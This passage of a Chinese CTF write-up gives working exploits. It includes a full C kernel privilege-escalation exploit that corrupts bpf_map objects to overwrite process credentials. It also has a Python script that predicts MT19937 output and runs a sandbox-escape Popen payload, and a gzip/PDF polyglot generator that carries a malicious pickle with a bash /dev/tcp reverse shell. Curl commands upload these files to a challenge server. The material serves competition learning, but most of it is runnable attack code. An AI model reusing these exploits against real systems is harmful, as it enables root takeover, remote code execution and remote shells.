之后我们只需要再堆喷申请一个BPF_MAP_TYPE_ARRAY_OF_MAP类型的bpf map,就可以往value上写入一个bpf_map指针。
而其map_lookup_elem对应的函数是array_of_map_lookup_elem,它会调用我们普通array的map_lookup_elem函数返回*value。
这样调用read_cmd时,它会将*value对应的bpf_map返回给v13,之后会返回v13前4字节的数据给用户,而bpf_map的前4字节刚好对应ops的低4字节,又因为kaslr情况下内核text段地址高4字节固定为0xffffffff,这使得我们可以成功泄露内核地址信息。
之后可以通过如下构造,淹没下一个chunk前0x250个字节进行整个bpf_map的劫持。
0x150+0x280*2 = 0x650
只需要维持ops是正常的,再把max_entries设置足够大,index_mask设置为0xffffffff,并保持各个成员变量的不变,就可以进行任意范围的越界读写了。
之后去遍历堆空间找到用户的task_struct修改cred、fs_struct、nsproxy分别为init_cred、init_fs、init_nsproxy即可实现提权。
利用流程
- 先在堆风水的情况下,申请0x159*1的bpf_array,保证后面的堆块也是bpf_array,且给每个堆块都写入一点特殊标识内容。
- 利用write_cmd写入0x159*2=0x2b2的数据淹没下一个bpf_array的前2个字节让其map_lookup_elem对应的函数指针为map_free。
- 调用map_init、read_cmd,检查read_cmd返回给用户空间的值,如果是前面对应的特殊标识就调用del_cmd清空指针继续遍历,反之不是前面对应的特殊标识就代表调用了map_free,此时map_init已经将freed_map放入数组中。
- 大量堆喷array_of_map类型的bpf_array,使得我们前面释放的freed_map又被重新申请到,并将一个array_map指针写入该freed_map(freed_map上会保存array_map的指针)。又因为freed_map指针被保存在了我们驱动的数组中,可以调用read_cmd获取内容,刚好能得到ops的前4字节泄露内核基地址。
- 再构造0x280*1的bpf_array,淹没下一个bpf_array,保证ops等其他成员正常,劫持index_mask、max_entries以及value_size实现大范围越界读写,修改task_struct提权。
Exp
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <linux/sched.h>
#include <unistd.h>
#include <wait.h>
#include "bpf.h"
typedef struct _ioctl_arg{
uint32_t idx;
uint32_t fd;
uint64_t size;
uint64_t buffer;
} ioctl_arg, *pioctl_arg;
unsigned long user_rip, user_ss, user_sp, user_cs, user_rflags;
int ko_fd;
uint64_t kernelbase, init_nsproxy = 0x2c729c0, init_cred = 0x2c72ea0;
void error_quit(const char* msg) {
perror(msg);
del_cmd(0);
del_cmd(1);
exit(0);
}
void get_shell() {
printf("\033[35mGetShell Success!\033[0m\n");
int fd = open("/flag", 0);
char flag[0x100] = { 0 };
read(fd, flag, 0x100);
puts(flag);
return;
}
void binary_dump(char* buf, size_t size, long long base_addr) {
printf("\033[33mDump:\n\033[0m");
char* ptr;
for (int i = 0; i < size / 0x20; i++) {
ptr = buf + i * 0x20;
printf("0x%016llx: ", base_addr + i * 0x20);
for (int j = 0; j < 4; j++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * j));
}
printf(" ");
for (int j = 0; j < 0x20; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
if (size % 0x20 != 0) {
int k = size - size % 0x20;
printf("0x%016llx: ", base_addr + k);
ptr = buf + k;
for (int i = 0; i <= (size - k) / 8; i++) {
printf("0x%016llx ", *(long long*)(ptr + 8 * i));
}
for (int i = 0; i < 3 - (size - k) / 8; i++) {
printf("%19c", ' ');
}
printf(" ");
for (int j = 0; j < size - k; j++) {
printf("%c", isprint(ptr[j]) ? ptr[j] : '.');
}
putchar('\n');
}
}
void save_user_land() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs,cs;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
user_rip = (unsigned long)get_shell;
puts("\033[34mUser land saved.\033[0m");
printf("\033[34muser_ss:0x%llx\033[0m\n", user_ss);
printf("\033[34muser_sp:0x%llx\033[0m\n", user_sp);
printf("\033[34muser_rflags:0x%llx\033[0m\n", user_rflags);
printf("\033[34muser_cs:0x%llx\033[0m\n", user_cs);
printf("\033[34muser_rip:0x%llx\033[0m\n", user_rip);
if (prctl(PR_SET_NAME, "0rb1t123", 0, 0, 0) != 0) {
printf("Could not set name");
}
}
void circle_print(char buf[], int line_size, int size) {
int l = 0;
for (int i = 0; i < size; i++, l++) {
putchar(buf[i]);
if (buf[i] == '\n')
l = 0;
if ((l + 1) % line_size == 0) {
putchar('\n');
}
}
}
int spawn_processes(pid_t *processes)
{
for (int i = 0; i < 0x100; i++)
{
pid_t child = fork();
if (child == 0) {
if (prctl(PR_SET_NAME, "0rb1t123", 0, 0, 0) != 0) {
puts("Could not set name");
}
uid_t old = getuid();
kill(getpid(), SIGSTOP);
uid_t uid = getuid();
while (getuid() != 0) ;
if (uid == 0 && old != uid) {
char buf[0x100] = {0};
int fd = open("/dev/vda", O_RDONLY);
if (fd < 0){
puts("File open error.");
exit(1);
}
read(fd, buf, 0x100);
write(1, buf, 0x100);
}
exit(uid);
}
if (child < 0) {
return child;
}
processes[i] = child;
}
return 0;
}
int spawn_root_shell(pid_t *processes)
{
for (int i = 0; i < 0x100; i++)
{
kill(processes[i], SIGCONT);
}
while(wait(NULL) > 0);
return 0;
}
int create_bpf_array_of_map(int fd, int key_size, int value_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY_OF_MAPS,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries,
// .map_flags = BPF_F_MMAPABLE,
.inner_map_fd = fd,
};
int map_fd = syscall(SYS_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
if (map_fd < 0) {
return -1;
}
return map_fd;
}
void map_init(uint32_t idx, uint32_t fd){
ioctl_arg arg;
arg.idx = idx;
arg.fd = fd;
if (ioctl(ko_fd, 0xDEEFBEAD, &arg) < 0){
error_quit("map_init error");
}
}
void del_cmd(uint32_t idx){
ioctl_arg arg;
arg.idx = idx;
if (ioctl(ko_fd, 0xBEEFDFFA, &arg) < 0){
error_quit("del_cmd error");
}
}
void write_cmd(uint32_t idx, uint64_t size, char *buffer){
ioctl_arg arg;
arg.idx = idx;
arg.size = size;
arg.buffer = (uint64_t)buffer;
if (ioctl(ko_fd, 0xDEADBEEF, &arg) < 0){
error_quit("write_cmd error");
}
}
void read_cmd(uint32_t idx, uint32_t size, char *buffer){
ioctl_arg arg;
arg.idx = idx;
arg.size = size;
arg.buffer = (uint64_t)buffer;
if (ioctl(ko_fd, 0xBEABDEEF, &arg) < 0){
error_quit("read_cmd error");
}
}
void exploit(){
ko_fd = open("/dev/vuln", O_RDWR);
char inbuf[0x1000] = {0}, outbuf[0x1008] = {0};
int spray_fd[0x200];
uint64_t *ibuf = (uint64_t*)inbuf;
int array_fd = -1;
int key = 0, vuln_fd = -1;
uint64_t val = 0xdeadbeef;
for (int i = 0; i < 0x20; i++){
spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x8, 0x40, 0);
if (spray_fd[i] < 0){
error_quit("BPF_MAP_TYPE_ARRAY error");
}
bpf_update_elem(spray_fd[i], &key, &val, 0);
}
array_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x159, 0x1, 0);
if (array_fd < 0){
error_quit("BPF_MAP_TYPE_ARRAY error");
}
for (int i = 0x20; i < 0x40; i++){
spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x8, 0x40, 0);
if (spray_fd[i] < 0){
error_quit("BPF_MAP_TYPE_ARRAY error");
}
bpf_update_elem(spray_fd[i], &key, &val, 0);
}
map_init(0, array_fd);
*(uint16_t*)&inbuf[0x2b0] = 0x2840-0x48;
write_cmd(0, 0x159, inbuf);
for (int i = 0; i < 0x40; i++){
map_init(1, spray_fd[i]);
*(uint64_t*)&outbuf = 0;
read_cmd(1, 8, outbuf);
if (*(uint64_t*)&outbuf != 0xdeadbeef){
vuln_fd = spray_fd[i];
break;
}
del_cmd(1);
}
if (vuln_fd == -1){
error_quit("Failed to get the vuln fd");
}
for (int i = 0x40; i < 0x50; i++){
spray_fd[i] = create_bpf_array_of_map(array_fd, sizeof(int), 4, 0x40);
if (spray_fd[i] < 0){
error_quit("BPF_MAP_TYPE_ARRAY_OF_MAP error");
}
if (bpf_update_elem(spray_fd[i], &key, &array_fd, 0)<0){
error_quit("BPF_UPDATE error");
}
}
uint64_t kernelbase = 0;
read_cmd(1, 8, &outbuf);
if (*(uint64_t*)&outbuf != 0xdeadbeef){
kernelbase = *(uint64_t*)&outbuf;
kernelbase += 0xffffffff00000000-0x1c42840;
printf("kernelbase: %p\n", (void*)kernelbase);
}
else{
error_quit("Failed to get arraymap");
}
close(vuln_fd);
for (int i = 0x50; i < 0x80; i++){
spray_fd[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x280, 0x1, 0);
if (spray_fd[i] < 0){
error_quit("BPF_MAP_TYPE_ARRAY error");
}
}
*(uint64_t*)&inbuf[0x2b0] = kernelbase + 0x1c42840;
*(uint64_t*)&inbuf[0x2b0+0x18] = 2;
*(uint64_t*)&inbuf[0x2b0+0x1C] = 4;
*(uint64_t*)&inbuf[0x2b0+0x20] = 0x100;
*(uint64_t*)&inbuf[0x2b0+0x24] = 0x100000;
*(uint64_t*)&inbuf[0x2b0+0x34] = 0x56;
*(uint64_t*)&inbuf[0x2b0+0x40] = 0x100000;
*(uint64_t*)&inbuf[0x2b0+0x80] = 1;
*(uint64_t*)&inbuf[0x2b0+0x88] = 1;
*(uint64_t*)&inbuf[0x2b0+0x140] = 0x100;
*(uint64_t*)&inbuf[0x2b0+0x144] = 0xffffffff;
write_cmd(1, 0x280, inbuf);
key = 0x41, vuln_fd = -1;
for (int i = 0; i < 0x40; i++){
if (bpf_lookup_elem(spray_fd[i], &key, &outbuf) >= 0){
vuln_fd = spray_fd[i];
break;
}
}
if (vuln_fd == -1){
error_quit("Failed to find the vuln fd");
}
printf("Begin to find the cred.\n");
uint64_t cred = 0, nsproxy = 0, init_nsproxy = kernelbase + 0x2c729c0, init_cred = kernelbase + 0x2c72ea0, init_fs = kernelbase + 0x2daeb80;
int stop = 0;
pid_t processes[0x100];
spawn_processes(processes);
for (int i = 0; i < 0x1000*0x1000 && !stop; i++){
memset(outbuf, 0, 0x100);
if (bpf_lookup_elem(vuln_fd, &i, &outbuf) < 0){
error_quit("Failed to get elem");
}
for(int j = 0; j < 0x100; j+=8){
if (memcmp(&outbuf[j], "0rb1t123", 8) == 0){
cred = *(uint64_t*)&outbuf[j-0x10];
cred = cred == 0 ? *(uint64_t*)&outbuf[j-0x8] : cred;
nsproxy = *(uint64_t*)&outbuf[j+0x58];
printf("cred: %p nsproxy: %p\n", cred, nsproxy);
if (cred != 0 && nsproxy != 0){
*(uint64_t*)&outbuf[j-0x10] = init_cred;
*(uint64_t*)&outbuf[j+0x58] = init_nsproxy;
*(uint64_t*)&outbuf[j+0x40] = init_fs;
puts("Find it.");
if (bpf_update_elem(vuln_fd, &i, &outbuf, 0) < 0){
error_quit("Failed to get elem");
}
puts("Success change the cred and nsproxy");
stop = 1;
break;
}
}
}
}
write(1, "ROOOOOOOOOOOT\n", 14);
spawn_root_shell(processes);
}
int main(){
save_user_land();
exploit();
if (getuid() != 0){
puts("Not root.");
exit(1);
}
char buf[0x100] = {0};
int fd = open("/dev/vda", O_RDONLY);
if (fd < 0){
puts("File open error.");
exit(1);
}
read(fd, buf, 0x100);
write(1, buf, 0x100);
}
WEB
guess
查看源码,找到关键点,考察伪随机数
观察 624 个 32 位输出 → 可以完全恢复内部状态。
恢复状态后 → 可以预测之后生成的所有随机数。
即
使用现有 Python 库或脚本(如 mt19937predictor)把这 624 个输出“逆转”成 MT 内部状态。
内部状态恢复后,直接调用 MT 的 getrandbits(32) 模拟生成下一次 key2。
rd = random.Random()
def generate_random_string():
return str(rd.getrandbits(32))
而当传入的key1!=key2时,会回显出这个key2的值,正是利用回显的key2,我们可以大量爆破然后预测key2的值
if payload:
a=eval(payload, {'__builtin__':{}})
成功后即可执行任意python代码
脚本
import requests
from mt19937predictor import MT19937Predictor
BASE_URL = "http://49.232.42.74:32642"
API_URL = f"{BASE_URL}/api"
predictor = MT19937Predictor()
session="eyJ1c2VyX2lkIjoiMTY3MTMwNjIxMyIsInVzZXJuYW1lIjoiYXNkIn0.aM5hIw.5jIpRih9JwJO4qRKinlSKpatkpY"
print("[*] 收集 key2 输出...")
key2_list = []
for i in range(624):
resp = requests.post(API_URL, json={"key": "ads"},cookies={"session":session}) # key1 != key2
data = resp.json()
print(data)
key2 = int(data['message'].split(':')[1])
key2_list.append(key2)
if (i+1) % 50 == 0:
print(f"收集 {i+1}/624")
for val in key2_list:
predictor.setrandbits(val, 32)
predicted_key2 = predictor.getrandbits(32)
print(f"[*] 预测下一个 key2: {predicted_key2}")
payload = "[cls for cls in ().__class__.__base__.__subclasses__() if cls.__name__=='Popen'][0]('mkdir -p static && cat /flag > static/flag.txt', shell=True)"
resp = requests.post(API_URL, json={"key": predicted_key2, "payload": payload},cookies={"session":session})
print("[*] /api 响应:", resp.text)
print("[*] 攻击完成,请访问 /static/flag.txt 查看结果")
随便注册登录拿到一段session,运行脚本即可执行任意代码
这边做的时候默认builtins被禁了,原来源码是__builtin__
()那很小丑了
[cls for cls in ().__class__.__base__.__subclasses__() if cls.__name__=='Popen'][0]('id', shell=True)
即可执行命令
当前环境无curl,所以想要反弹shell,但是引号有问题一直没成功,知道/flag路径,直接外带到static目录直接读取
mkdir -p static && cat /flag > static/flag.txt
成功拿到flag
pdf2text
CMap 链,反序列化 RCE
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "")
filename = "%s.pickle.gz" % name
log.debug("loading: %r", name)
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename)
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read()))
finally:
gzfile.close()
else:
raise CMapDB.CMapNotFound(name)
pdf 解析,Polyglot 混合文件类型绕过
try:
# just if is a pdf
parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser)
except Exception as e:
return str(e), 500
生成两个文件,Polyglot 绕过限制落地留下 pickle 代码,pdf 触发 CMap 链子
把完整 PDF 放进 GZIP 的 FEXTRA,同时在 GZIP 里放 pickle 负载
1.py
import zlib, struct, pickle, binascii
def build_pdf(abs_base: int) -> bytes:
header = b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n"
def obj(n, body: bytes): return f"{n} 0 obj\n".encode()+body+b"\nendobj\n"
objs = []
objs.append(obj(1, b"<< /Type /Catalog /Pages 2 0 R >>"))
objs.append(obj(2, b"<< /Type /Pages /Count 1 /Kids [3 0 R] >>"))
page = b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 4 0 R >> >> /Contents 5 0 R >>"
objs.append(obj(3, page))
objs.append(obj(4, b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>"))
stream = b"BT /F1 12 Tf (hello polyglot) Tj ET"
objs.append(obj(5, b"<< /Length %d >>\nstream\n" % len(stream) + stream + b"\nendstream"))
body = header
offsets_abs = []
cursor_abs = abs_base + len(header)
for o in objs:
offsets_abs.append(cursor_abs)
body += o
cursor_abs += len(o)
# xref stream (/W [1 4 2]):type(1B)+offset(4B BE)+gen(2B)
entries = [b"\x01" + struct.pack(">I", off) + b"\x00\x00" for off in offsets_abs]
xref_stream = zlib.compress(b"".join(entries))
xref_obj = (
b"6 0 obj\n"
b"<< /Type /XRef /Size 7 /Root 1 0 R /W [1 4 2] /Index [1 5] "
b"/Filter /FlateDecode /Length " + str(len(xref_stream)).encode() + b" >>\nstream\n" +
xref_stream + b"\nendstream\nendobj\n"
)
startxref_abs = abs_base + len(body)
trailer = b"startxref\n" + str(startxref_abs).encode() + b"\n%%EOF\n"
return body + xref_obj + trailer
def build_gzip_with_extra(extra_pdf: bytes, payload: bytes) -> bytes:
ID1, ID2, CM = 0x1f, 0x8b, 8
FLG, MTIME, XFL, OS = 0x04, 0, 0, 255
if len(extra_pdf) > 65535:
raise ValueError("FEXTRA >65535")
header = bytes([ID1, ID2, CM, FLG])
header += struct.pack("<I", MTIME)
header += bytes([XFL, OS])
header += struct.pack("<H", len(extra_pdf))
header += extra_pdf
comp = zlib.compressobj(level=9, wbits=-15)
deflated = comp.compress(payload) + comp.flush()
crc = binascii.crc32(payload) & 0xffffffff
isize = len(payload) & 0xffffffff
trailer = struct.pack("<II", crc, isize)
return header + deflated + trailer
if __name__ == "__main__":
cmd = "bash -c 'bash -i >& /dev/tcp/ip/5555 0>&1'"
expr = (
"__import__('os').system(%r) or "
"{'decode': (lambda self, b: [])}"
) % cmd
class P:
def __reduce__(self):
import builtins
return (builtins.eval, (expr,))
payload = pickle.dumps(P(), protocol=2)
pdf = build_pdf(abs_base=12)
poly = build_gzip_with_extra(extra_pdf=pdf, payload=payload)
open("evil.pickle.gz", "wb").write(poly)
assert poly[:4] == b"\x1f\x8b\x08\x04"
assert poly.find(b"%PDF-") != -1 and poly.find(b"%PDF-") < 1024
生成 pdf
2.py
import io
def encode_pdf_name_abs(abs_path: str) -> str:
return "/" + abs_path.replace("/", "#2F")
def build_trigger_pdf(cmap_abs_no_ext: str) -> bytes:
enc_name = encode_pdf_name_abs(cmap_abs_no_ext)
header = b"%PDF-1.4\n%\xe2\xe3\xcf\xd3\n"
objs = []
def obj(n, body: bytes):
return f"{n} 0 obj\n".encode() + body + b"\nendobj\n"
objs.append(obj(1, b"<< /Type /Catalog /Pages 2 0 R >>"))
objs.append(obj(2, b"<< /Type /Pages /Count 1 /Kids [3 0 R] >>"))
page = b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>"
objs.append(obj(3, page))
stream = b"BT /F1 12 Tf (A) Tj ET"
objs.append(obj(4, b"<< /Length %d >>\nstream\n" % len(stream) + stream + b"\nendstream"))
font_dict = f"<< /Type /Font /Subtype /Type0 /BaseFont /Identity-H /Encoding {enc_name} /DescendantFonts [6 0 R] >>".encode()
objs.append(obj(5, font_dict))
objs.append(obj(6, b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Dummy /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> >>"))
buf = io.BytesIO()
buf.write(header)
offsets = []
cursor = len(header)
for o in objs:
offsets.append(cursor)
buf.write(o)
cursor += len(o)
xref_start = buf.tell()
buf.write(b"xref\n0 7\n")
buf.write(b"0000000000 65535 f \n")
for off in offsets:
buf.write(f"{off:010d} 00000 n \n".encode())
buf.write(b"trailer\n<< /Size 7 /Root 1 0 R >>\n")
buf.write(f"startxref\n{xref_start}\n%%EOF\n".encode())
return buf.getvalue()
if __name__ == "__main__":
abs_no_ext = "/proc/self/cwd/uploads/evil"
with open("trigger.pdf", "wb") as f:
f.write(build_trigger_pdf(abs_no_ext))
触发链子,反弹 Shell
curl -sS -F "file=@evil.pickle.gz;type=application/pdf;filename=evil.pickle.gz" http://49.232.42.74:31263/upload | sed -n '1,80p'
curl -sS -F "file=@trigger.pdf;type=application/pdf;filename=pwned.pdf" http://49.232.42.74:31263/upload | sed -n '1,120p'
REVERSE
appfriend
核心逻辑都在so层